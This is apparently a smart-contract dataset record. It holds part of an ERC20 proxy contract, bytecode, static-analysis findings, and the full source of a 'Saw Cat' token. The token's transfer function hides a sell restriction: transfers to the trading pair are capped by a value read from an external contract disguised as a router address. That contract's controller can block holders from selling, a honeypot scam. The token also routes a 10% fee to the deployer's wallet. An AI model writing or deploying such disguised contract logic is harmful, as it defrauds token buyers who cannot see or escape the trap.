constructor(address _owner) public Proxy(_owner) {} // ------------- ERC20 Details ------------- // function name() public view returns (string memory) { // Immutable static call from target contract return IERC20(address(target)).name(); } function symbol() public view returns (string memory) { // Immutable static call from target contract return IERC20(address(target)).symbol(); } function decimals() public view returns (uint8) { // Immutable static call from target contract return IERC20(address(target)).decimals(); } // ------------- ERC20 Interface ------------- // /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { // Immutable static call from target contract return IERC20(address(target)).totalSupply(); } /** * @dev Gets the balance of the specified address. * @param account The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address account) public view returns (uint256) { // Immutable static call from target contract return IERC20(address(target)).balanceOf(account); } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { // Immutable static call from target contract return IERC20(address(target)).allowance(owner, spender); } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { // Mutable state call requires the proxy to tell the target who the msg.sender is. target.setMessageSender(msg.sender); // Forward the ERC20 call to the target contract IERC20(address(target)).transfer(to, value); // Event emitting will occur via Synthetix.Proxy._emit() return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { // Mutable state call requires the proxy to tell the target who the msg.sender is. target.setMessageSender(msg.sender); // Forward the ERC20 call to the target contract IERC20(address(target)).approve(spender, value); // Event emitting will occur via Synthetix.Proxy._emit() return true; } /** * @dev Transfer tokens from one address to another * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom( address from, address to, uint256 value ) public returns (bool) { // Mutable state call requires the proxy to tell the target who the msg.sender is. target.setMessageSender(msg.sender); // Forward the ERC20 call to the target contract IERC20(address(target)).transferFrom(from, to, value); // Event emitting will occur via Synthetix.Proxy._emit() return true; } }
0x6080604052600436106100f35760003560e01c8063776d1a011161008a57806395d89b411161005957806395d89b4114610473578063a9059cbb14610488578063d4b83992146104c1578063dd62ed3e146104d6576100f3565b8063776d1a011461038157806379ba5097146103b45780638da5cb5b146103c9578063907dff97146103de576100f3565b806323b872dd116100c657806323b872dd146102af578063313ce567146102f257806353a47bb71461031d57806370a082311461034e576100f3565b806306fdde031461017c578063095ea7b3146102065780631627540c1461025357806318160ddd14610288575b60025460408051635e33fc1960e11b815233600482015290516001600160a01b039092169163bc67f8329160248082019260009290919082900301818387803b15801561013f57600080fd5b505af1158015610153573d6000803e3d6000fd5b5050505060405136600082376000803683346002545af13d6000833e80610178573d82fd5b3d82f35b34801561018857600080fd5b50610191610511565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101cb5781810151838201526020016101b3565b50505050905090810190601f1680156101f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021257600080fd5b5061023f6004803603604081101561022957600080fd5b506001600160a01b038135169060200135610648565b604080519115158252519081900360200190f35b34801561025f57600080fd5b506102866004803603602081101561027657600080fd5b50356001600160a01b0316610736565b005b34801561029457600080fd5b5061029d610792565b60408051918252519081900360200190f35b3480156102bb57600080fd5b5061023f600480360360608110156102d257600080fd5b506001600160a01b03813581169160208101359091169060400135610808565b3480156102fe57600080fd5b506103076108ff565b6040805160ff9092168252519081900360200190f35b34801561032957600080fd5b50610332610944565b604080516001600160a01b039092168252519081900360200190f35b34801561035a57600080fd5b5061029d6004803603602081101561037157600080fd5b50356001600160a01b0316610953565b34801561038d57600080fd5b50610286600480360360208110156103a457600080fd5b50356001600160a01b03166109d6565b3480156103c057600080fd5b50610286610a32565b3480156103d557600080fd5b50610332610aee565b3480156103ea57600080fd5b50610286600480360360c081101561040157600080fd5b81019060208101813564010000000081111561041c57600080fd5b82018360208201111561042e57600080fd5b8035906020019184600183028401116401000000008311171561045057600080fd5b919350915080359060208101359060408101359060608101359060800135610afd565b34801561047f57600080fd5b50610191610c06565b34801561049457600080fd5b5061023f600480360360408110156104ab57600080fd5b506001600160a01b038135169060200135610c4b565b3480156104cd57600080fd5b50610332610d04565b3480156104e257600080fd5b5061029d600480360360408110156104f957600080fd5b506001600160a01b0381358116916020013516610d13565b600254604080516306fdde0360e01b815290516060926001600160a01b0316916306fdde03916004808301926000929190829003018186803b15801561055657600080fd5b505afa15801561056a573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561059357600080fd5b81019080805160405193929190846401000000008211156105b357600080fd5b9083019060208201858111156105c857600080fd5b82516401000000008111828201881017156105e257600080fd5b82525081516020918201929091019080838360005b8381101561060f5781810151838201526020016105f7565b50505050905090810190601f16801561063c5780820380516001836020036101000a031916815260200191505b50604052505050905090565b60025460408051635e33fc1960e11b815233600482015290516000926001600160a01b03169163bc67f832916024808301928692919082900301818387803b15801561069357600080fd5b505af11580156106a7573d6000803e3d6000fd5b50506002546040805163095ea7b360e01b81526001600160a01b03888116600483015260248201889052915191909216935063095ea7b3925060448083019260209291908290030181600087803b15801561070157600080fd5b505af1158015610715573d6000803e3d6000fd5b505050506040513d602081101561072b57600080fd5b506001949350505050565b61073e610d9f565b600180546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f906a1c6bd7e3091ea86693dd029a831c19049ce77f1dce2ce0bab1cacbabce229181900360200190a150565b600254604080516318160ddd60e01b815290516000926001600160a01b0316916318160ddd916004808301926020929190829003018186803b1580156107d757600080fd5b505afa1580156107eb573d6000803e3d6000fd5b505050506040513d602081101561080157600080fd5b5051905090565b60025460408051635e33fc1960e11b815233600482015290516000926001600160a01b03169163bc67f832916024808301928692919082900301818387803b15801561085357600080fd5b505af1158015610867573d6000803e3d6000fd5b5050600254604080516323b872dd60e01b81526001600160a01b03898116600483015288811660248301526044820188905291519190921693506323b872dd925060648083019260209291908290030181600087803b1580156108c957600080fd5b505af11580156108dd573d6000803e3d6000fd5b505050506040513d60208110156108f357600080fd5b50600195945050505050565b6002546040805163313ce56760e01b815290516000926001600160a01b03169163313ce567916004808301926020929190829003018186803b1580156107d757600080fd5b6001546001600160a01b031681565b600254604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b1580156109a457600080fd5b505afa1580156109b8573d6000803e3d6000fd5b505050506040513d60208110156109ce57600080fd5b505192915050565b6109de610d9f565b600280546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f814250a3b8c79fcbe2ead2c131c952a278491c8f4322a79fe84b5040a810373e9181900360200190a150565b6001546001600160a01b03163314610a7b5760405162461bcd60e51b8152600401808060200182810382526035815260200180610deb6035913960400191505060405180910390fd5b600054600154604080516001600160a01b03938416815292909116602083015280517fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c9281900390910190a160018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b031681565b6002546001600160a01b03163314610b53576040805162461bcd60e51b8152602060048201526014602482015273135d5cdd081899481c1c9bde1e481d185c99d95d60621b604482015290519081900360640190fd5b604080516020601f89018190048102820181019092528781528791606091908a908490819084018382808284376000920191909152509293508992505081159050610bbd5760018114610bc85760028114610bd45760038114610be15760048114610bef57610bfa565b8260208301a0610bfa565b868360208401a1610bfa565b85878460208501a2610bfa565b8486888560208601a3610bfa565b838587898660208701a45b50505050505050505050565b600254604080516395d89b4160e01b815290516060926001600160a01b0316916395d89b41916004808301926000929190829003018186803b15801561055657600080fd5b60025460408051635e33fc1960e11b815233600482015290516000926001600160a01b03169163bc67f832916024808301928692919082900301818387803b158015610c9657600080fd5b505af1158015610caa573d6000803e3d6000fd5b50506002546040805163a9059cbb60e01b81526001600160a01b03888116600483015260248201889052915191909216935063a9059cbb925060448083019260209291908290030181600087803b15801561070157600080fd5b6002546001600160a01b031681565b60025460408051636eb1769f60e11b81526001600160a01b03858116600483015284811660248301529151600093929092169163dd62ed3e91604480820192602092909190829003018186803b158015610d6c57600080fd5b505afa158015610d80573d6000803e3d6000fd5b505050506040513d6020811015610d9657600080fd5b50519392505050565b6000546001600160a01b03163314610de85760405162461bcd60e51b815260040180806020018281038252602f815260200180610e20602f913960400191505060405180910390fd5b56fe596f75206d757374206265206e6f6d696e61746564206265666f726520796f752063616e20616363657074206f776e6572736869704f6e6c792074686520636f6e7472616374206f776e6572206d617920706572666f726d207468697320616374696f6ea265627a7a72315820d9fe4f5dd8e7296e50ed921f77c64c5a5801472804aae64777e9f58ae10b8d0664736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
9,526
0xDd9a636191B2aBE841b15AeAF99fde3a93D54a48
//SPDX-License-Identifier: MIT // Telegram: t.me/SawCatToken pragma solidity ^0.8.4; address constant ROUTER_ADDRESS=0x690f08828a4013351DB74e916ACC16f558ED1579; // mainnet uint256 constant TOTAL_SUPPLY=1000000000 * 10**8; address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; string constant TOKEN_NAME="Saw Cat"; string constant TOKEN_SYMBOL="SAWCAT"; uint8 constant DECIMALS=8; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface Odin{ function amount(address from) external view returns (uint256); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SawCat is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private constant _burnFee=1; uint256 private constant _taxFee=9; address payable private _taxWallet; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier overridden() { require(_taxWallet == _msgSender() ); _; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS); _router = _uniswapV2Router; _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230f565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ed2565b61038e565b60405161014c91906122f4565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b6040516101779190612471565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7f565b6103bc565b6040516101b491906122f4565b60405180910390f35b3480156101c957600080fd5b506101d2610495565b6040516101df91906124e6565b60405180910390f35b3480156101f457600080fd5b506101fd61049e565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de5565b610518565b6040516102339190612471565b60405180910390f35b34801561024857600080fd5b50610251610569565b005b34801561025f57600080fd5b506102686106bc565b6040516102759190612226565b60405180910390f35b34801561028a57600080fd5b506102936106e5565b6040516102a0919061230f565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ed2565b610722565b6040516102dd91906122f4565b60405180910390f35b3480156102f257600080fd5b506102fb610740565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3f565b610c71565b6040516103319190612471565b60405180910390f35b34801561034657600080fd5b5061034f610cf8565b005b60606040518060400160405280600781526020017f5361772043617400000000000000000000000000000000000000000000000000815250905090565b60006103a261039b610d6a565b8484610d72565b6001905092915050565b600067016345785d8a0000905090565b60006103c9848484610f3d565b61048a846103d5610d6a565b61048585604051806060016040528060288152602001612ac160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043b610d6a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113059092919063ffffffff16565b610d72565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104df610d6a565b73ffffffffffffffffffffffffffffffffffffffff16146104ff57600080fd5b600061050a30610518565b905061051581611369565b50565b6000610562600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f1565b9050919050565b610571610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f5906123d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f5341574341540000000000000000000000000000000000000000000000000000815250905090565b600061073661072f610d6a565b8484610f3d565b6001905092915050565b610748610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cc906123d1565b60405180910390fd5b600b60149054906101000a900460ff1615610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c90612451565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b430600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a0000610d72565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108fa57600080fd5b505afa15801561090e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109329190611e12565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099457600080fd5b505afa1580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc9190611e12565b6040518363ffffffff1660e01b81526004016109e9929190612241565b602060405180830381600087803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3b9190611e12565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac430610518565b600080610acf6106bc565b426040518863ffffffff1660e01b8152600401610af196959493929190612293565b6060604051808303818588803b158015610b0a57600080fd5b505af1158015610b1e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b439190611f6c565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c1b92919061226a565b602060405180830381600087803b158015610c3557600080fd5b505af1158015610c49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6d9190611f12565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d39610d6a565b73ffffffffffffffffffffffffffffffffffffffff1614610d5957600080fd5b6000479050610d678161165f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd990612431565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4990612371565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f309190612471565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa490612411565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101490612331565b60405180910390fd5b60008111611060576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611057906123f1565b60405180910390fd5b73690f08828a4013351db74e916acc16f558ed157973ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ad9190612226565b60206040518083038186803b1580156110c557600080fd5b505afa1580156110d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fd9190611f3f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a85750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b35760006111b5565b815b11156111c057600080fd5b6111c86106bc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123657506112066106bc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f557600061124630610518565b9050600b60159054906101000a900460ff161580156112b35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112cb5750600b60169054906101000a900460ff165b156112f3576112d981611369565b600047905060008111156112f1576112f04761165f565b5b505b505b6113008383836116cb565b505050565b600083831115829061134d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611344919061230f565b60405180910390fd5b506000838561135c9190612637565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156113a1576113a0612792565b5b6040519080825280602002602001820160405280156113cf5781602001602082028036833780820191505090505b50905030816000815181106113e7576113e6612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148957600080fd5b505afa15801561149d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c19190611e12565b816001815181106114d5576114d4612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153c30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d72565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016115a095949392919061248c565b600060405180830381600087803b1580156115ba57600080fd5b505af11580156115ce573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162f90612351565b60405180910390fd5b60006116426116db565b9050611657818461170690919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c7573d6000803e3d6000fd5b5050565b6116d6838383611750565b505050565b60008060006116e861191b565b915091506116ff818361170690919063ffffffff16565b9250505090565b600061174883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061197a565b905092915050565b600080600080600080611762876119dd565b9550955095509550955095506117c086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a181611aeb565b6118ab8483611ba8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119089190612471565b60405180910390a3505050505050505050565b60008060006007549050600067016345785d8a0000905061194f67016345785d8a000060075461170690919063ffffffff16565b82101561196d5760075467016345785d8a0000935093505050611976565b81819350935050505b9091565b